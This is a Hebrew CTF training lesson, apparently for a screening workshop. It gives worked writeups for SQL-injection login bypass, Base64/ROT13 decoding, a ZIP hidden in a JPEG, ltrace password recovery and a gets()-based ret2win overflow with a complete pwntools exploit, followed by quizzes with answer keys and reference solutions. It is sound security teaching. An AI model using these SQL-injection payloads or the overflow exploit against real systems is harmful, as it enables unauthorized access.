GammaCyber

תרגול CTF טקטי

סימולציות מיון · 5–6 שעות

// סקירה

שיעור הסינתזה — כל הכלים יחד בזמן אמת

שיעורים 41–46 לימדו כלים נפרדים. שיעור זה הוא הסינתזה: נפתור 5 CTF Challenges מקטגוריות שונות, נלמד לזהות סוג אתגר תוך שניות, ונתרגל Writeup מקצועי — בדיוק כפי שנדרש בסדנת גאמא.

✓נושאי השיעור
  • Decision Tree — זיהוי קטגוריה ב-30 שניות
  • ניהול זמן בCTF — 2 דקות Recon, מתי עוברים הלאה
  • Challenge #1: Web — SQL Injection Login Bypass
  • Challenge #2: Crypto — Multi-Layer Base64 + ROT13
  • Challenge #3: Forensics — ZIP מוסתר בJPEG
  • Challenge #4: Reverse — ltrace חושף strcmp
  • Challenge #5: Pwn — Buffer Overflow + ret2win
  • Writeup מקצועי — מבנה ודוגמה מלאה
  • פלטפורמות CTF + ארגז כלים לפי קטגוריה
🎯 קשר למיוני גאמא
זה השיעור שמכין ישירות לסדנה: Black Box CTF — 3-4 שעות, כל קטגוריה · זיהוי מהיר תוך 2 דקות · Time Management — מתי עוברים הלאה · Writeup — הסברת הפתרון לבוחן
// פרק 1

זיהוי מהיר: איזה סוג אתגר?

הכלל הראשון ב-CTF: לפני שמתחילים, לזהות את הקטגוריה. כל קטגוריה = כלים שונים, גישה שונה, ציפיות שונות. 2 דקות זיהוי = 20 דקות חסכון.

Decision Tree — 30 שניות לזיהוי

רואים / מקבליםקטגוריהכלים ראשוניםשאלה ראשונה
URL לאתר, HTML, פורםWebBurp Suite, curl, DevToolsSQLi? XSS? IDOR? LFI?
Binary ELF/EXE, nc server portPwn / Reversechecksec, file, stringschecksec → Pwn. 'find password' → Reverse
קובץ תמונה / PCAP / LogForensicsfile, exiftool, binwalk, stringsמה מוסתר? איפה?
טקסט מוצפן, Base64 חשוד, HashCryptoCyberChef, Python, dcode.frאיזה cipher? מה ה-Key?
מתמטיקה, הגיון, ASCII art, חידהMiscPython, CyberChef, Googleמה ה-Pattern? מה הכלל?
🔑 Decision Tree — 5 שלבים
1. יש URL? → Web
2. יש Binary (ELF/EXE)? → checksec → Canary/NX → Pwn | אין → Reverse
3. יש קובץ תמונה / PCAP / Log? → Forensics
4. יש טקסט מוצפן/מוזר? → Crypto
5. שאר? → Misc (פתח עם CyberChef + Google)
✏תרגול עצמי3 שאלות
שאלה 1.1 — זיהוי קטגוריה
קיבלת אתגר CTF עם הנחיה: "nc pwn.ctf.gamma.il 4000" ו-Binary בשם server. מה הצעד הראשון?
✓ תשובה: ב) — nc + Binary = Pwn. Workflow: file server → checksec server → strings server → GDB. checksec מגדיר את האסטרטגיה: No Canary+No NX+No PIE → Shellcode/ret2win ישיר. Canary+NX+PIE → Format String Leak + ROP.
שאלה 1.2 — Crypto vs Misc
קיבלת: SGVsbG8gV29ybGQh. איך מזהים שזה Base64 ולא Hex?
✓ תשובה: ד) — Hex charset: [0-9a-f] בלבד. Base64 charset: [A-Za-z0-9+/=]. "SGVsbG8" מכיל 'S','G','V','s','b','G' — אותיות גדולות + קטנות → Base64. echo 'SGVsbG8gV29ybGQh' | base64 -d = "Hello World!"
שאלה 1.3 — ltrace vs strace
מתי תשתמש ב-ltrace ומתי ב-strace?
✓ תשובה: ג) — ltrace ./vault → "strcmp('test', 'g4mm4_v4ult')" — חשף את ה-password! strace ./prog → "open('/etc/passwd', O_RDONLY)" — חשף מה הprogram קורא. Reverse: ltrace קודם. Forensics/Malware: strace קודם.
// פרק 2

ניהול זמן: מתי עוברים הלאה?

ב-CTF, ניהול זמן הוא מיומנות קריטית לא פחות מהידע הטכני. פתרון 3 אתגרים קלים שווה יותר נקודות מכישלון על אתגר קשה אחד.

שלבזמןמה עושיםמתי עוברים?
זיהוי2 דקותקרא Description, file, strings, checksecתמיד — סיום שלב זה חובה
גישה ראשונה10 דקותנסה הכלים הברורים לקטגוריהאם אין רמז — עבור
חקירה מעמיקה20 דקותנסה גישות שונות, חשוב laterallyאחרי 20 דקות ללא פריצה
עבור קדימה—סמן האתגר, פתור אחריםאחרי 30 דקות ללא התקדמות
חזרה—עיניים רעננות + רמז מFlag אחרכשנשאר זמן
! 4 מלכודות זמן נפוצות ב-CTF ›

Rabbit Hole: פרט שנראה חשוב אבל הוא הסחה. תסמן ותמשיך. אם אחרי 10 דקות עדיין לא מוביל לשום מקום — זו פינת ארנב.

Over-engineering: חושבים שזה מורכב כשהפתרון פשוט (strings, base64). שאל תמיד: "האם ניסיתי את הגישה הפשוטה ביותר?"

Tunnel Vision: ממוקד בגישה אחת יותר מ-10 דקות. נסה גישה שונה לחלוטין. לפעמים אתגר Web מכיל Crypto, ואתגר Forensics מכיל Reverse.

Perfectionism: מנסים להבין הכל לפני שמתקדמים. ב-CTF: Forward motion wins! Flag ידוע > הבנה מלאה.
✏תרגול עצמי3 שאלות
שאלה 2.1 — ניהול זמן
עברו 25 דקות על אתגר Forensics. ניסית file, exiftool, strings, binwalk — ואין תוצאה. יש עוד 3 אתגרים שלא נגעת בהם. מה עושים?
✓ תשובה: ג) — כלל CTF: אחרי 30 דקות ללא התקדמות → עבור קדימה. 3 אתגרים שלא פתחת = נקודות בטוחות. חזרה לאתגר הראשון עם עיניים רעננות לפעמים חושפת את הפתרון תוך 2 דקות. Forward motion wins.
שאלה 2.2 — Rabbit Hole
באתגר Forensics מצאת קואורדינטות GPS ב-exiftool. בילית 15 דקות במיפוי המיקום ולא מצאת flag. מה זה אומר?
✓ תשובה: ג) — Rabbit Hole = פרט שנראה חשוב אבל הוא הסחה. GPS ב-exiftool נפוץ כ-misdirection ב-CTF. כשתקוע: חזור לבסיס. binwalk על קובץ JPEG לפעמים מגלה ZIP מוסתר (כמו ב-Challenge #3 בשיעור זה).
שאלה 2.3 — אסטרטגיה
CTF עם 8 אתגרים: 3 קלים (50 נקודות כל אחד), 3 בינוניים (150 נקודות), 2 קשים (400 נקודות). מה הסדר האופטימלי?
✓ תשובה: ב) — קלים ראשון: ודאות גבוהה לנקודות, מהירים לפתרון, נותנים ביטחון ורמזים לאחרים. 3 קלים = 150 נקודות בוטחות. קשים: 400 נקודות אבל לא ודאי. Greedy approach: מקסם נקודות צבורות בזמן נתון.
// פרק 3

Challenges #1 ו-#2: Web ו-Crypto

#1 · WEB · Login Bypass · קל-בינוני

Description: "יש לנו Admin Panel. המנהל שכח את הסיסמה אבל Username שלו הוא admin. מצא דרך להיכנס."

Writeup — SQL Injection Login Bypass

# ─── שלב 1: זיהוי ─────────────────────────────────────────── # URL + Login Form → Web Challenge. Username ידוע: admin. # ─── שלב 2: ניסיונות ראשונים ──────────────────────────────── # admin:admin, admin:password, admin:1234 → 'Invalid credentials' # ─── שלב 3: SQL Injection ──────────────────────────────────── # מה Backend עושה? # SELECT * FROM users WHERE username='INPUT' AND password='PASS' # Payload בUsername: admin'-- # Query שנוצר: # SELECT * FROM users WHERE username='admin'--' AND password='x' # ↑↑ Comment! כל מה שאחרי -- מוסר # = SELECT * FROM users WHERE username='admin' # → מחזיר שורת admin ללא בדיקת סיסמה! $ curl -X POST http://ctf.gamma.il:8080/login \ -d "username=admin'--&password=x" -L # Output: Welcome, admin! Flag: CTF{sql_1nj3ct1on_byp4ss} # ─── אלטרנטיב: OR Bypass ───────────────────────────────────── # Username: ' OR '1'='1'-- # = SELECT * FROM users WHERE username='' OR '1'='1'-- # '1'='1' תמיד TRUE → Login כ-User הראשון
#2 · CRYPTO · Multi-Layer Encoding · קל

Description: "המרגל הצפין את ההודעה בכמה שכבות. האם תוכל לפצח?"
נתון: VmpSSmVGWX...

Writeup — Base64 שכבות + ROT13

# ─── שלב 1: זיהוי ───────────────────────────────────────────── # טקסט ארוך, תווים A-Za-z0-9+/= → BASE64! # decode ראשון לא נותן טקסט קריא → שכבות מרובות # ─── שלב 2: CyberChef Magic ─────────────────────────────────── # פתח CyberChef → הדבק → לחץ 'Magic' # מגלה אוטומטית: Base64 × 4 → ROT13 → Flag! # ─── שלב 3: Python לאימות ───────────────────────────────────── import base64, codecs data = 'VmpSSmVGWX...' for i in range(4): data = base64.b64decode(data).decode() print(f'Layer {i+1}: {data[:40]}...') flag = codecs.decode(data, 'rot_13') print(f'Flag: {flag}') # → Flag: CTF{enc0dings_ar3_like_onions}
✏תרגול עצמי3 שאלות
שאלה 3.1 — SQL Injection
מדוע ה-payload admin'-- מאפשר כניסה ללא סיסמה?
✓ תשובה: א) — SQL: SELECT * FROM users WHERE username='admin'--' AND password='x'. ה-' אחרי admin סוגר את הstring. -- מתחיל comment → AND password='x' נמחק לוגית. Query = WHERE username='admin' → מחזיר admin → Login!
שאלה 3.2 — Crypto Layers
decode ראשון של Base64 נתן עוד Base64. מה הכלי המהיר ביותר לזיהוי כמות השכבות?
✓ תשובה: ג) — CyberChef Magic: מנתח טקסט, מזהה encoding וmanually מציע Recipe מלא. לCTF Crypto: CyberChef Magic = צעד ראשון תמיד. Python שימושי לאימות או כשCyberChef לא מגיע לתשובה הנכונה.
שאלה 3.3 — ROT13
מה ROT13 ואיך מזהים אותו?
✓ תשובה: ד) — ROT13: A→N, B→O, ..., N→A (symmetric! ROT13(ROT13(x))=x). זיהוי: "Gur synt vf..." → "The flag is...". נפוץ ב-CTF בשילוב עם Base64. דרך: CyberChef ROT13 או Python: codecs.decode(text, 'rot_13').
// פרק 4

Challenges #3 ו-#4: Forensics ו-Reverse

#3 · FORENSICS · Hidden in Plain Sight · בינוני

Description: "קיבלנו תמונה מחשוד. משהו מוסתר בה."
קובץ: photo.jpg (2.4MB)

Writeup — Forensics Methodology מלא

# ─── שלב 1: Reconnaissance ───────────────────────────────── $ file photo.jpg photo.jpg: JPEG image data, JFIF standard 1.01 $ ls -la photo.jpg -rw-r--r-- 1 user user 2457600 Jun 15 14:30 photo.jpg # 2.4MB לתמונה פשוטה → חשוד! תמונה 800×600 ~ 200KB # ─── שלב 2: strings ───────────────────────────────────────── $ strings photo.jpg | grep -iE 'ctf|flag|pass|secret' # ← ריק. Flag לא חשוף כString. # ─── שלב 3: ExifTool ──────────────────────────────────────── $ exiftool photo.jpg Comment : Nothing to see here! ← classic misdirection! GPS Latitude : 32° 4' 33.60" N ← Rabbit Hole (GPS לא רלוונטי) GPS Longitude : 34° 46' 55.56" E # ─── שלב 4: binwalk ───────────────────────────────────────── $ binwalk photo.jpg DECIMAL HEXADECIMAL DESCRIPTION 0 0x0 JPEG image data 241920 0x3B100 Zip archive data → 'secret/' 241980 0x3B13C Zip archive data → 'secret/flag.txt' 242100 0x3B1B4 End of Zip archive # ← ZIP מוסתר בסוף ה-JPEG! Steganography פשוטה # ─── שלב 5: חילוץ ─────────────────────────────────────────── $ binwalk -e photo.jpg $ cat _photo.jpg.extracted/secret/flag.txt CTF{hidd3n_z1p_1ns1de_jpeg}
#4 · REVERSE · The Vault · בינוני-קשה

Description: "יש לנו Vault עם קוד. מצא את הקוד הנכון."
קובץ: vault (ELF 64-bit binary)

Writeup — ltrace חושף strcmp

# ─── שלב 1: Recon ──────────────────────────────────────────── $ file vault vault: ELF 64-bit LSB executable, x86-64, dynamically linked $ strings vault | grep -iE 'flag|ctf|correct|wrong|access' Wrong code! Access Granted! Flag: %s # ─── שלב 2: ltrace — הכלי הראשון לRE! ────────────────────── $ ltrace ./vault Enter vault code: test strcmp("test", "g4mm4_v4ult") ← !!! הקוד חשוף! puts("Wrong code!") $ ./vault Enter vault code: g4mm4_v4ult Access Granted! Flag: CTF{v4ult_cr4ck3d} # ─── אלטרנטיב: Ghidra אם ltrace לא עובד ───────────────────── # Strings → "Access Granted" → Xref → check_code() # Pseudocode (F5): # int check_code(char *input) { # return strcmp(input, "g4mm4_v4ult") == 0; # } # ← הקוד גלוי לחלוטין ב-Pseudocode!
✏תרגול עצמי3 שאלות
שאלה 4.1 — Forensics Methodology
מה הסדר הנכון של כלי Forensics לקובץ JPEG חשוד?
✓ תשובה: ג) — Forensics workflow: file (סוג קובץ) → ls -la (גודל חשוד?) → strings (פלאג גלוי?) → exiftool (metadata) → binwalk (מוסתר?) → binwalk -e (חלץ). מהפשוט למורכב. 2.4MB ל-JPEG פשוט = red flag מיידי.
שאלה 4.2 — binwalk
מה עושה binwalk photo.jpg לעומת binwalk -e photo.jpg?
✓ תשובה: ב) — binwalk: Scan only. מציג DECIMAL + DESCRIPTION. binwalk -e: Extract. מחלץ לתיקיה _photo.jpg.extracted/. תמיד: scan קודם לראות מה שם, ואז -e לחלץ. זהירות: -e לפעמים מחלץ מאות קבצים.
שאלה 4.3 — Reverse Engineering
ltrace לא עובד (האפליקציה מזהה אותו). מה הצעד הבא?
✓ תשובה: ג) — ltrace = Dynamic, יכול להיות מוגן ע"י Anti-Debug. Static Analysis (Ghidra/IDA) לא מריץ את הBinary → לא ניתן לזיהוי. Workflow: ltrace כישל → Ghidra → F5 → strcmp → קוד. או: GDB bp על strcmp → x/s $rsi.
// פרק 5

Challenge #5: Pwn + Writeup מקצועי

#5 · PWN · The Old Server · קשה

Description: "שרת ישן רץ. יש לו bug. תנצל אותו ותשיג את ה-Flag."
נתון: nc pwn.ctf.gamma.il 4000 + Source Code

Source Code + Exploit מלא

// ─── server.c ───────────────────────────────────────────── void print_flag() { system("/bin/cat flag.txt"); } void handle_name() { char name[48]; printf("What is your name? "); gets(name); // ← VULNERABLE! gets() = no bounds check printf("Hello, %s!\n", name); } // ─── שלב 1: Analysis ───────────────────────────────────────── $ checksec --file=./server Stack: No canary found ← BOF ישיר! NX: NX disabled ← Stack Executable PIE: No PIE (0x400000) ← כתובות קבועות! $ nm ./server | grep print_flag 0000000000401156 T print_flag ← כתובת קבועה: 0x401156 // ─── שלב 2: מצא Offset עם cyclic ────────────────────────── $ python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))" | ./server Segmentation fault $ gdb ./server (gdb) run < <(python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))") Program received signal SIGSEGV (gdb) x/gx $rsp 0x7fffe8: 0x6161616161616166 ← 'faaaaaaa' LE $ python3 -c "from pwn import *; print(cyclic_find(0x6161616161616166))" 56 ← Offset = 56 (48 buffer + 8 saved RBP) // ─── שלב 3: Build Exploit ──────────────────────────────────── from pwn import * p = remote('pwn.ctf.gamma.il', 4000) offset = 56 print_flag = 0x0000000000401156 payload = b'A' * offset payload += p64(print_flag) # p64 = Little-Endian 8 bytes p.sendlineafter(b'What is your name? ', payload) print(p.recvall().decode()) # Output: Hello, AAAA...A\x56\x11\x40 # CTF{0ld_s3rv3r_n3w_tr1cks}

Writeup מקצועי — התבנית

# Challenge Name : The Old Server # Category : Pwn | Points: 200 | Platform: CTF Gamma 2024 ## Description "שרת ישן רץ. יש לו bug. תנצל ותשיג Flag." ## Reconnaissance checksec: No Canary, NX disabled, No PIE → Buffer Overflow + ret2win Source: gets() בhandle_name() = ללא הגבלת גודל → BOF קלאסי ## Vulnerability gets() לא מגביל גודל קלט. Buffer[48] + 8 bytes Saved RBP = Offset 56. Return Address נדרס עם כתובת print_flag(). ## Exploit 1. מצאתי offset עם cyclic pattern → 56 bytes 2. כתובת print_flag() = 0x401156 (קבועה, ללא PIE) 3. Payload: b'A'*56 + p64(0x401156) ## Flag CTF{0ld_s3rv3r_n3w_tr1cks} ## Lessons Learned gets() = פונקציה מסוכנת. בקוד אמיתי: תמיד fgets(buf, sizeof(buf), stdin). No Canary + No PIE + No NX = הסביבה הכי קלה ל-Pwn.
✓מה למדנו בשיעור 47
  • זיהוי: URL=Web, Binary=Pwn/Reverse, קובץ=Forensics, טקסט=Crypto — 30 שניות
  • Time Management: 2→10→20→עבור קדימה. Forward motion wins!
  • Web SQLi: admin'-- → Comment מסיר AND password → Login bypass
  • Crypto: Base64 שכבות + ROT13. CyberChef Magic מזהה הכל אוטומטית
  • Forensics: file → ls -la → strings → exiftool → binwalk → binwalk -e
  • ltrace חושף Library calls (strcmp!) — הכלי הראשון ב-Reverse
  • Pwn: checksec → cyclic offset → p64(target) → sendline
  • x64 Pwn: offset = buffer + 8 (saved RBP). x86: offset = buffer + 4
  • Writeup: Description → Recon → Vulnerability → Exploit → Flag → Lessons
  • פלטפורמות: PicoCTF לתרגול, CTFtime לאירועים, pwn.college לPwn/RE
🎯 השיעור הבא
שיעור 48 — סדנת למידה מהירה: טכנולוגיה חדשה תחת לחץ זמן
✏תרגול סיום — גאמא סגנון3 שאלות
גאמא סגנון א׳ — Pwn Dry Run
$ checksec ./chal Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) $ nm ./chal | grep win 0000000000401200 T win_func $ python3 -c "from pwn import *; print(cyclic_find(0x6161616b))" 40 # ← cyclic_find ב-x86 (32bit)מה ה-Payload?
✓ תשובה: ג) — cyclic_find(0x6161616b) מצא offset=40. 0x6161616b = 'kaaa' ב-LE = x86 (32bit) pattern. ב-x86: Return Address = 4 bytes → p32. ב-x64: 8 bytes → p64. Payload: b'A'*40 + p32(0x401200).
גאמא סגנון ב׳ — Forensics + Crypto
$ file mystery.png mystery.png: PNG image data, 800x600 $ ls -la mystery.png -rw-r--r-- 1 user 45056 mystery.png # 45KB $ strings mystery.png | tail -5 IEND Q1RGe3N0ZWdhbm9ncmFwaHlfaXNfZnVufQ== # אחרון!מה ה-Flag?
✓ תשובה: ד) — strings על PNG מצא Base64 מוסתר. decode: Q1RGe... → "CTF{steganography_is_fun}". Forensics + Crypto משולבים! PNG 45KB לתמונה 800×600 = גודל סביר (לא חשוד). Flag מוסתר כString ב-PNG metadata.
גאמא סגנון ג׳ — Writeup
מה חייב להיות בWriteup מקצועי לבוחן גאמא? (בחר את הרשימה המלאה ביותר)
✓ תשובה: ב) — Writeup מקצועי: (1) Name+Category+Points. (2) Description. (3) Recon — מה גיליתי ראשון. (4) Vulnerability — מה הבאג. (5) Exploit — קוד/פקודות מדויקות. (6) Flag. (7) Lessons. בגאמא: הסברת הWriteup לבוחן = חלק מהמיון.
// פרק 6

פלטפורמות CTF וארגז הכלים המלא

ידע ללא תרגול = אפס. הנה פלטפורמות לתרגול לפני גאמא, ואיסוף הכלים לכל קטגוריה.

פלטפורמות מומלצות

פלטפורמהURLמה יש?מומלץ ל-
PicoCTFpicoctf.comArchive 500+ challengesמתחילים, כל קטגוריה
OverTheWireoverthewire.orgWargames (Bandit)Linux, Crypto
HackTheBoxhackthebox.comMachines + ChallengesPenetration Testing
pwn.collegepwn.collegePwn/RE מובנהPwn ו-RE מעמיק
CryptoHackcryptohack.orgCrypto בלבדCrypto מתקדם
CTFtimectftime.orgלוח שנה CTF עולמיאירועי CTF Live

ארגז כלים לפי קטגוריה

קטגוריהכלים חיונייםכלים מתקדמים
WebBurp Suite, curl, Browser DevToolsffuf, sqlmap, nikto
CryptoCyberChef, Python, dcode.frSageMath, RsaCtfTool
Forensicsfile, strings, exiftool, binwalk, WiresharkVolatility, foremost, zsteg
Reversestrings, ltrace, strace, GhidraIDA, Radare2, angr
PwnGDB+pwndbg, pwntools, checksecROPgadget, one_gadget, libc-database
Stegozsteg, steghide, AudacityStegSolve, stegseek
הרחבה One-Liners שחוסכים חיים ב-CTF ›
# ─── Decode One-Liners ──────────────────────────────────────── $ echo 'SGVsbG8=' | base64 -d # Base64 → ASCII $ echo '48 65 6c 6c 6f' | xxd -r -p # Hex → ASCII $ echo 'Uryyb' | tr 'A-Za-z' 'N-ZA-Mn-za-m' # ROT13 # ─── Hash Identification ────────────────────────────────────── $ hash-identifier 5d41402abc4b2a76b9719d911017c592 # → MD5 # ─── Quick Forensics ────────────────────────────────────────── $ binwalk -e suspicious.jpg # חלץ קבצים מוסתרים $ exiftool file.jpg | grep -i 'comment\|gps\|author' $ strings file.bin | grep -iE 'ctf|flag|pass' # ─── Web Testing ────────────────────────────────────────────── $ curl -X POST http://target/login -d "username=admin'--&password=x" -L $ gobuster dir -u http://target/ -w /usr/share/wordlists/common.txt # ─── Pwn Quick-Start ───────────────────────────────────────── $ checksec --file=./binary $ python3 -c "from pwn import *; sys.stdout.buffer.write(cyclic(200))" | ./binary $ python3 -c "from pwn import *; print(cyclic_find(b'kaaa'))"
✏תרגול סיום — סינתזה מלאה3 שאלות
שאלה 6.1 — אסטרטגיית תרגול
מה הסדר המומלץ לתרגול לפני גאמא?
✓ תשובה: ג) — Progressive difficulty: PicoCTF (קל) → OverTheWire (Linux/Crypto) → HackTheBox (בינוני) → CTF Live (לחץ זמן אמיתי). כתיבת Writeup לכל אתגר = חזרה על הפתרון + תרגול הסברה. ←— מכין ישירות לסדנה.
שאלה 6.2 — Multi-Category
קיבלת אתגר עם תיאור: "מצאנו Binary שרץ על השרת. נראה שיש בו דלת אחורית. מצא ומנצל." מה זה?
✓ תשובה: ד) — "Binary + מצא" = Reverse. "מנצל + שרת" = Pwn. Flow: Ghidra/ltrace → מצא backdoor (למשל secret_password) → nc server → שלח password → Shell/Flag. אתגרים hybrids = נפוצים. תמיד זהה Noded Entry Point ראשון.
שאלה 6.3 — CTF Flow מלא
מה הסדר הנכון בין הפעולות הבאות לאתגר Pwn חדש?
A. checksec B. cyclic() C. nm | grep flag D. p64(addr) + sendline E. file binary
✓ תשובה: ד) E→A→C→B→D — (E) file binary: מה הarchitecture? 32bit/64bit? (A) checksec: הגנות. (C) nm|grep: יש win_func/print_flag? = ret2win קלאסי. (B) cyclic/GDB: מצא offset. (D) p64()+sendline: שלח exploit. סדר לוגי: Recon → Analysis → Offset → Exploit.
// סימולציית מיון

אתגר מעשי — CTF רב-קטגורי — Crypto, Forensics, RE, Algo

פורמט מיון אמיתי: מתוזמן, רב-קטגורי, תחת לחץ. בונוס-זמן על פתרון מהיר. ההגשה נבדקת אוטומטית מול מקרי-קצה נסתרים.

T5 · שיא800 נק'~15 דק'algorithmic⏱ בונוס-זמן
Crypto — פיצוח RSA (מודולוס קטן)
אתגר קריפטו קלאסי של CTF. נתונים n (מכפלת שני ראשוניים קטנים), e, ו-ciphertext c. שחזר את ה-plaintext m: פרק את n, חשב phi=(p-1)(q-1), מצא d=e⁻¹ mod phi, והחזר m=c^d mod n.
דוגמאות
rsa_decrypt(3233, 17, pow(42,17,3233)) → 42
הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס Crypto — פיצוח RSA (מודולוס קטן) ›
def rsa_decrypt(n: int, e: int, c: int) -> int: f = 2; p = None # פירוק n (מודולוס קטן) while f * f <= n: if n % f == 0: p = f; break f += 1 q = n // p phi = (p - 1) * (q - 1) d = pow(e, -1, phi) # d = e^-1 mod phi return pow(c, d, n) # m = c^d mod n
T5 · שיא800 נק'~15 דק'algorithmic⏱ בונוס-זמן
Forensics — ציד flag ב-XOR
blob של בתים (רשימת ints) מכיל flag שהוצפן ב-XOR עם מפתח בית-יחיד ומוסתר ברעש. ממש find_flag(data) שמנסה את כל 256 המפתחות, מפענח, ומחזיר את המחרוזת בפורמט flag{...} שמופיעה. אם אין — None.
דוגמאות
find_flag(blob) # blob = flag{...} ^ key ברעש → 'flag{f0r3ns1cs}'
הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס Forensics — ציד flag ב-XOR ›
import re def find_flag(data: list) -> str: for k in range(256): # brute כל 256 המפתחות dec = bytes(b ^ k for b in data) m = re.search(rb'flag\{[ -~]*?\}', dec) # flag{...} מודפס if m: return m.group().decode() return None
T5 · שיא800 נק'~15 דק'algorithmic⏱ בונוס-זמן
Reverse — היפוך בדיקת Serial
פונקציית check ששוחזרה מ-disassembly בודקת: (ord(s[i]) ^ 0x2a) + i == target[i] לכל i. נתון target — ממש solve(target) שמחזיר את ה-serial (המחרוזת s) שעובר את הבדיקה.
דוגמאות
solve(target) # target שנגזר מ-'c7f2' → 'c7f2'
הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס Reverse — היפוך בדיקת Serial ›
def solve(target: list) -> str: # ה-check: (ord(s[i]) ^ 0x2a) + i == target[i] # היפוך: ord(s[i]) = (target[i] - i) ^ 0x2a return ''.join(chr((target[i] - i) ^ 0x2a) for i in range(len(target)))
T5 · שיא800 נק'~20 דק'algorithmic⏱ בונוס-זמן
Algo — תת-סדרה עולה ארוכה ביותר
מצא את אורך תת-הסדרה העולה-ממש הארוכה ביותר (LIS) ברשימת מספרים. חובה O(n log n) (patience sorting עם חיפוש בינארי): קלט של 200,000 איברים חייב לרוץ בזמן. פתרון DP של O(n²) ייפסל ב-timeout.
דוגמאות
lis_length([10,9,2,5,3,7,101,18]) → 4
lis_length([3,3,3]) → 1
הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס Algo — תת-סדרה עולה ארוכה ביותר ›
import bisect def lis_length(nums: list) -> int: tails = [] # patience sorting — O(n log n) for x in nums: i = bisect.bisect_left(tails, x) # מיקום להחלפה (עולה ממש) if i == len(tails): tails.append(x) else: tails[i] = x return len(tails)
שאלות תרגול ותשובות (18)

שאלה 1.1 — זיהוי קטגוריה · קיבלת אתגר CTF עם הנחיה: "nc pwn.ctf.gamma.il 4000" ו-Binary בשם server. מה הצעד הראשון?

  • א. פתח את השרת ב-Burp Suite ונתח לעומק את תעבורת ה-HTTP שלו
  • ב. הרץ checksec על ה-Binary וזהה מהן ההגנות הפעילות בו כרגע
  • ג. טען מיד את הקובץ ל-CyberChef ונסה לפענח את המחרוזות הפנימיות
  • ד. פתח את Ghidra וקרא את כל הפסאודו-קוד של התוכנית מההתחלה
תשובה: ב

✓ תשובה: ב) — nc + Binary = Pwn. Workflow: file server → checksec server → strings server → GDB. checksec מגדיר את האסטרטגיה: No Canary+No NX+No PIE → Shellcode/ret2win ישיר. Canary+NX+PIE → Format String Leak + ROP.

שאלה 1.2 — Crypto vs Misc · קיבלת: SGVsbG8gV29ybGQh. איך מזהים שזה Base64 ולא Hex?

SGVsbG8gV29ybGQh
  • א. Base64 חייב תמיד להסתיים בסימן =, ולכן היעדרו מעיד ודאית על Hex
  • ב. מחרוזת Hex ארוכה תמיד בדיוק פי שניים מ-Base64 של אותו הטקסט
  • ג. לא ניתן להבחין בין השניים בלי להריץ את הקובץ בכלי פענוח ייעודי
  • ד. אותיות גדולות וקטנות יחד מעידות על Base64; ב-Hex יש רק 0-9 ו-a-f
תשובה: ד

✓ תשובה: ד) — Hex charset: [0-9a-f] בלבד. Base64 charset: [A-Za-z0-9+/=]. "SGVsbG8" מכיל 'S','G','V','s','b','G' — אותיות גדולות + קטנות → Base64. echo 'SGVsbG8gV29ybGQh' | base64 -d = "Hello World!"

שאלה 1.3 — ltrace vs strace · מתי תשתמש ב-ltrace ומתי ב-strace?

  • א. strace מיועד ל-Reverse Engineering, ואילו ltrace מתאים ל-Forensics
  • ב. ltrace פועל אך ורק בסביבת Windows, ו-strace אך ורק בסביבת Linux
  • ג. ltrace עוקב אחר קריאות-ספרייה (טוב ל-RE); strace אחר קריאות-מערכת
  • ד. שני הכלים מציגים בדיוק אותו מידע, ולכן אין ביניהם הבדל מעשי
תשובה: ג

✓ תשובה: ג) — ltrace ./vault → "strcmp('test', 'g4mm4_v4ult')" — חשף את ה-password! strace ./prog → "open('/etc/passwd', O_RDONLY)" — חשף מה הprogram קורא. Reverse: ltrace קודם. Forensics/Malware: strace קודם.

שאלה 2.1 — ניהול זמן · עברו 25 דקות על אתגר Forensics. ניסית file, exiftool, strings, binwalk — ואין תוצאה. יש עוד 3 אתגרים שלא נגעת בהם. מה עושים?

  • א. המשך להשקיע עוד שעה שלמה על אותו אתגר בדיוק עד שהוא נפתר
  • ב. פנה מיד למארגנים ובקש מהם Hint כדי לא להמשיך ולאבד זמן יקר
  • ג. עבור לאתגרים האחרים, סמן את זה לחזרה, ושוב אליו רענן מאוחר יותר
  • ד. ותר על האתגר הזה באופן סופי והתמקד אך ורק בשאר האתגרים
תשובה: ג

✓ תשובה: ג) — כלל CTF: אחרי 30 דקות ללא התקדמות → עבור קדימה. 3 אתגרים שלא פתחת = נקודות בטוחות. חזרה לאתגר הראשון עם עיניים רעננות לפעמים חושפת את הפתרון תוך 2 דקות. Forward motion wins.

שאלה 2.2 — Rabbit Hole · באתגר Forensics מצאת קואורדינטות GPS ב-exiftool. בילית 15 דקות במיפוי המיקום ולא מצאת flag. מה זה אומר?

  • א. ה-GPS הוא תמיד רלוונטי, ולכן יש להמשיך ולבדוק עוד שכבות מיקום
  • ב. נדרש כאן חיבור אינטרנט חי כדי להשלים את פענוח נתוני הקואורדינטות
  • ג. כנראה Rabbit Hole; חזור לשיטות Forensics בסיסיות על הקובץ עצמו
  • ד. יש למפות את הקואורדינטות בכלי GIS מקצועי כדי להשיג דיוק רב יותר
תשובה: ג

✓ תשובה: ג) — Rabbit Hole = פרט שנראה חשוב אבל הוא הסחה. GPS ב-exiftool נפוץ כ-misdirection ב-CTF. כשתקוע: חזור לבסיס. binwalk על קובץ JPEG לפעמים מגלה ZIP מוסתר (כמו ב-Challenge #3 בשיעור זה).

שאלה 2.3 — אסטרטגיה · CTF עם 8 אתגרים: 3 קלים (50 נקודות כל אחד), 3 בינוניים (150 נקודות), 2 קשים (400 נקודות). מה הסדר האופטימלי?

admin
  • א. התחל דווקא מהקשים, מפני שהם המזכים בהכי הרבה נקודות ליחידת מאמץ
  • ב. פתור קלים, אחריהם בינוניים, וקשים רק אם יישאר זמן — מקסום נקודות
  • ג. פתח את כל שמונת האתגרים בבת-אחת ועבוד על כולם יחד במקביל
  • ד. הסדר אינו משנה כלל, שהרי בסופו של דבר תפתור ממילא את כולם
תשובה: ב

✓ תשובה: ב) — קלים ראשון: ודאות גבוהה לנקודות, מהירים לפתרון, נותנים ביטחון ורמזים לאחרים. 3 קלים = 150 נקודות בוטחות. קשים: 400 נקודות אבל לא ודאי. Greedy approach: מקסם נקודות צבורות בזמן נתון.

